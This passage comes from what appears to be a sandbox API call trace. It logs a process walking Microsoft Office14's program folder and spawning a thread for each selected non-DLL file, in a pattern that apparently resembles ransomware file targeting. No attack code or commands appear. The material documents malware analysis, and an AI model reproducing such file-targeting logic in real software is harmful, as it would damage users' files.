dwReserved0=0x0, dwReserved1=0x0, cFileName="SG.DLL", cAlternateFileName="")) returned 1 [0151.110] wcscmp (_String1="SG.DLL", _String2=".") returned 1 [0151.110] wcscmp (_String1="SG.DLL", _String2="..") returned 1 [0151.110] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd67343c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x52b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHAPNUM.DLL", cAlternateFileName="")) returned 1 [0151.110] wcscmp (_String1="SHAPNUM.DLL", _String2=".") returned 1 [0151.110] wcscmp (_String1="SHAPNUM.DLL", _String2="..") returned 1 [0151.111] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67868700, ftCreationTime.dwHighDateTime=0x1cacbb1, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67868700, ftLastWriteTime.dwHighDateTime=0x1cacbb1, nFileSizeHigh=0x0, nFileSizeLow=0x46f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHAREPOINTPROVIDER.DLL", cAlternateFileName="SHAREP~1.DLL")) returned 1 [0151.111] wcscmp (_String1="SHAREPOINTPROVIDER.DLL", _String2=".") returned 1 [0151.111] wcscmp (_String1="SHAREPOINTPROVIDER.DLL", _String2="..") returned 1 [0151.111] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd84a0f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd84a0f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x67, dwReserved0=0x0, dwReserved1=0x0, cFileName="SketchPadTestSchema.xml", cAlternateFileName="SKETCH~1.XML")) returned 1 [0151.111] wcscmp (_String1="SketchPadTestSchema.xml", _String2=".") returned 1 [0151.111] wcscmp (_String1="SketchPadTestSchema.xml", _String2="..") returned 1 [0151.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x202afc40 [0151.111] wcscpy (in: _Dest=0x202afc40, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0151.111] wcscat (in: _Dest=0x202afc40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0151.111] wcscat (in: _Dest=0x202afc40, _Source="SketchPadTestSchema.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\SketchPadTestSchema.xml") returned="C:\\Program Files\\Microsoft Office\\Office14\\SketchPadTestSchema.xml" [0151.111] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202afc40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x239c [0151.112] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x861bf100, ftCreationTime.dwHighDateTime=0x1cabc89, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x861bf100, ftLastWriteTime.dwHighDateTime=0x1cabc89, nFileSizeHigh=0x0, nFileSizeLow=0x80fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLERROR.XML", cAlternateFileName="")) returned 1 [0151.112] wcscmp (_String1="SLERROR.XML", _String2=".") returned 1 [0151.112] wcscmp (_String1="SLERROR.XML", _String2="..") returned 1 [0151.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x20504910 [0151.113] wcscpy (in: _Dest=0x20504910, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0151.113] wcscat (in: _Dest=0x20504910, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0151.113] wcscat (in: _Dest=0x20504910, _Source="SLERROR.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\SLERROR.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\SLERROR.XML" [0151.113] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20504910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23a0 [0151.114] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ebbec00, ftCreationTime.dwHighDateTime=0x1cab8a8, ftLastAccessTime.dwLowDateTime=0x84cd39e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3ebbec00, ftLastWriteTime.dwHighDateTime=0x1cab8a8, nFileSizeHigh=0x0, nFileSizeLow=0x37d70, dwReserved0=0x0, dwReserved1=0x0, cFileName="SMIGRATE.DLL", cAlternateFileName="")) returned 1 [0151.114] wcscmp (_String1="SMIGRATE.DLL", _String2=".") returned 1 [0151.114] wcscmp (_String1="SMIGRATE.DLL", _String2="..") returned 1 [0151.114] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2e9100, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2e9100, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0xa8b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOA.DLL", cAlternateFileName="")) returned 1 [0151.114] wcscmp (_String1="SOA.DLL", _String2=".") returned 1 [0151.114] wcscmp (_String1="SOA.DLL", _String2="..") returned 1 [0151.114] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67868700, ftCreationTime.dwHighDateTime=0x1cacbb1, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67868700, ftLastWriteTime.dwHighDateTime=0x1cacbb1, nFileSizeHigh=0x0, nFileSizeLow=0x264780, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOCIALCONNECTOR.DLL", cAlternateFileName="SOCIAL~1.DLL")) returned 1 [0151.114] wcscmp (_String1="SOCIALCONNECTOR.DLL", _String2=".") returned 1 [0151.114] wcscmp (_String1="SOCIALCONNECTOR.DLL", _String2="..") returned 1 [0151.114] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66555a00, ftCreationTime.dwHighDateTime=0x1cacbb1, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66555a00, ftLastWriteTime.dwHighDateTime=0x1cacbb1, nFileSizeHigh=0x0, nFileSizeLow=0x8fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOCIALPROVIDER.DLL", cAlternateFileName="SOCIAL~2.DLL")) returned 1 [0151.114] wcscmp (_String1="SOCIALPROVIDER.DLL", _String2=".") returned 1 [0151.114] wcscmp (_String1="SOCIALPROVIDER.DLL", _String2="..") returned 1 [0151.114] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd675a520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x57f78, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLUTILS.DLL", cAlternateFileName="")) returned 1 [0151.114] wcscmp (_String1="SOLUTILS.DLL", _String2=".") returned 1 [0151.114] wcscmp (_String1="SOLUTILS.DLL", _String2="..") returned 1 [0151.114] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd11e7f00, ftCreationTime.dwHighDateTime=0x1c3e388, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd11e7f00, ftLastWriteTime.dwHighDateTime=0x1c3e388, nFileSizeHigh=0x0, nFileSizeLow=0x597e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPANISH.LNG", cAlternateFileName="")) returned 1 [0151.114] wcscmp (_String1="SPANISH.LNG", _String2=".") returned 1 [0151.114] wcscmp (_String1="SPANISH.LNG", _String2="..") returned 1 [0151.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x20504110 [0151.115] wcscpy (in: _Dest=0x20504110, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0151.115] wcscat (in: _Dest=0x20504110, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0151.115] wcscat (in: _Dest=0x20504110, _Source="SPANISH.LNG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\SPANISH.LNG") returned="C:\\Program Files\\Microsoft Office\\Office14\\SPANISH.LNG" [0151.115] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20504110, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23a4 [0151.116] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd718e200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd718e200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x173e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SplashScreen.bmp", cAlternateFileName="SPLASH~1.BMP")) returned 1 [0151.116] wcscmp (_String1="SplashScreen.bmp", _String2=".") returned 1 [0151.116] wcscmp (_String1="SplashScreen.bmp", _String2="..") returned 1 [0151.116] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x20504b90 [0151.116] wcscpy (in: _Dest=0x20504b90, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0151.116] wcscat (in: _Dest=0x20504b90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0151.116] wcscat (in: _Dest=0x20504b90, _Source="SplashScreen.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\SplashScreen.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\SplashScreen.bmp" [0151.116] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20504b90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23a8 [0151.118] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20188a00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd6780680, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x20188a00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x3d7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SQLSHARE.DLL", cAlternateFileName="")) returned 1 [0151.118] wcscmp (_String1="SQLSHARE.DLL", _String2=".") returned 1 [0151.118] wcscmp (_String1="SQLSHARE.DLL", _String2="..") returned 1 [0151.118] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef96c00, ftCreationTime.dwHighDateTime=0x1ca5083, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaef96c00, ftLastWriteTime.dwHighDateTime=0x1ca5083, nFileSizeHigh=0x0, nFileSizeLow=0x24748, dwReserved0=0x0, dwReserved1=0x0, cFileName="SSGEN.DLL", cAlternateFileName="")) returned 1 [0151.118] wcscmp (_String1="SSGEN.DLL", _String2=".") returned 1 [0151.118] wcscmp (_String1="SSGEN.DLL", _String2="..") returned 1 [0151.118] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STARTUP", cAlternateFileName="")) returned 1 [0151.118] wcscmp (_String1="STARTUP", _String2=".") returned 1 [0151.118] wcscmp (_String1="STARTUP", _String2="..") returned 1 [0151.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b86ef00 [0151.118] wcscpy (in: _Dest=0x1b86ef00, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0151.118] wcscat (in: _Dest=0x1b86ef00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0151.118] wcscat (in: _Dest=0x1b86ef00, _Source="STARTUP" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP") returned="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP" [0151.118] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b86ef00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23ac [0151.119] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e8d5600, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xde61b8a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7e8d5600, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x3bb598, dwReserved0=0x0, dwReserved1=0x0, cFileName="STSLIST.DLL", cAlternateFileName="")) returned 1 [0151.119] wcscmp (_String1="STSLIST.DLL", _String2=".") returned 1 [0151.119] wcscmp (_String1="STSLIST.DLL", _String2="..") returned 1 [0151.119] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd67a67e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x20588, dwReserved0=0x0, dwReserved1=0x0, cFileName="STYLEMGR.DLL", cAlternateFileName="")) returned 1 [0151.119] wcscmp (_String1="STYLEMGR.DLL", _String2=".") returned 1 [0151.119] wcscmp (_String1="STYLEMGR.DLL", _String2="..") returned 1 [0151.119] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12ca3000, ftCreationTime.dwHighDateTime=0x1cac1f1, ftLastAccessTime.dwLowDateTime=0x694b6370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x12ca3000, ftLastWriteTime.dwHighDateTime=0x1cac1f1, nFileSizeHigh=0x0, nFileSizeLow=0x15f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="subscription.xsd", cAlternateFileName="SUBSCR~1.XSD")) returned 1 [0151.119] wcscmp (_String1="subscription.xsd", _String2=".") returned 1 [0151.119] wcscmp (_String1="subscription.xsd", _String2="..") returned 1 [0151.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x20504990 [0151.120] wcscpy (in: _Dest=0x20504990, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0151.120] wcscat (in: _Dest=0x20504990, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0151.120] wcscat (in: _Dest=0x20504990, _Source="subscription.xsd" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\subscription.xsd") returned="C:\\Program Files\\Microsoft Office\\Office14\\subscription.xsd" [0151.120] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20504990, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23b0 [0151.121] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd67f2aa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xef98, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMINFO.DLL", cAlternateFileName="")) returned 1 [0151.121] wcscmp (_String1="SUMINFO.DLL", _String2=".") returned 1 [0151.121] wcscmp (_String1="SUMINFO.DLL", _String2="..") returned 1 [0151.121] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a54f200, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a54f200, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x1d360, dwReserved0=0x0, dwReserved1=0x0, cFileName="TaxonomyControl.dll", cAlternateFileName="TAXONO~1.DLL")) returned 1 [0151.121] wcscmp (_String1="TaxonomyControl.dll", _String2=".") returned 1 [0151.121] wcscmp (_String1="TaxonomyControl.dll", _String2="..") returned 1 [0151.121] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb7df00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x5ad5e950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb7df00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x46c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="THOCR.PSP", cAlternateFileName="")) returned 1 [0151.121] wcscmp (_String1="THOCR.PSP", _String2=".") returned 1 [0151.121] wcscmp (_String1="THOCR.PSP", _String2="..") returned 1 [0151.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x20504b10 [0151.121] wcscpy (in: _Dest=0x20504b10, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0151.121] wcscat (in: _Dest=0x20504b10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0151.121] wcscat (in: _Dest=0x20504b10, _Source="THOCR.PSP" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\THOCR.PSP") returned="C:\\Program Files\\Microsoft Office\\Office14\\THOCR.PSP" [0151.121] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20504b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23b4 [0151.122] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156cb00, ftCreationTime.dwHighDateTime=0x1cb6fff, ftLastAccessTime.dwLowDateTime=0xe33c4660, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x156cb00, ftLastWriteTime.dwHighDateTime=0x1cb6fff, nFileSizeHigh=0x0, nFileSizeLow=0x8958, dwReserved0=0x0, dwReserved1=0x0, cFileName="THOCRAPI.DLL", cAlternateFileName="")) returned 1 [0151.123] wcscmp (_String1="THOCRAPI.DLL", _String2=".") returned 1 [0151.123] wcscmp (_String1="THOCRAPI.DLL", _String2="..") returned 1 [0151.123] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd0b43200, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x195780, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIMESOLN.DLL", cAlternateFileName="")) returned 1 [0151.123] wcscmp (_String1="TIMESOLN.DLL", _String2=".") returned 1 [0151.123] wcscmp (_String1="TIMESOLN.DLL", _String2="..") returned 1 [0151.123] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd67f2aa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x14380, dwReserved0=0x0, dwReserved1=0x0, cFileName="TLIMPT.EXE", cAlternateFileName="")) returned 1 [0151.123] wcscmp (_String1="TLIMPT.EXE", _String2=".") returned 1 [0151.123] wcscmp (_String1="TLIMPT.EXE", _String2="..") returned 1 [0151.123] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156cb00, ftCreationTime.dwHighDateTime=0x1cb6fff, ftLastAccessTime.dwLowDateTime=0xe3410920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x156cb00, ftLastWriteTime.dwHighDateTime=0x1cb6fff, nFileSizeHigh=0x0, nFileSizeLow=0x28b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="TWCUTCHR.DLL", cAlternateFileName="")) returned 1 [0151.123] wcscmp (_String1="TWCUTCHR.DLL", _String2=".") returned 1 [0151.123] wcscmp (_String1="TWCUTCHR.DLL", _String2="..") returned 1 [0151.123] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x5aeb55b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x1cd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="TWCUTLIN.DLL", cAlternateFileName="")) returned 1 [0151.123] wcscmp (_String1="TWCUTLIN.DLL", _String2=".") returned 1 [0151.123] wcscmp (_String1="TWCUTLIN.DLL", _String2="..") returned 1 [0151.123] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x6d56d990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x12378, dwReserved0=0x0, dwReserved1=0x0, cFileName="TWLAY32.DLL", cAlternateFileName="")) returned 1 [0151.123] wcscmp (_String1="TWLAY32.DLL", _String2=".") returned 1 [0151.123] wcscmp (_String1="TWLAY32.DLL", _String2="..") returned 1 [0151.123] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x5aeb55b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x6d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="TWORIENT.DLL", cAlternateFileName="")) returned 1 [0151.123] wcscmp (_String1="TWORIENT.DLL", _String2=".") returned 1 [0151.124] wcscmp (_String1="TWORIENT.DLL", _String2="..") returned 1 [0151.124] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x6d56d990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xa780, dwReserved0=0x0, dwReserved1=0x0, cFileName="TWRECC.DLL", cAlternateFileName="")) returned 1 [0151.124] wcscmp (_String1="TWRECC.DLL", _String2=".") returned 1 [0151.124] wcscmp (_String1="TWRECC.DLL", _String2="..") returned 1 [0151.124] FindNextFileW (in: hFindFile=0x1b7ceca0, 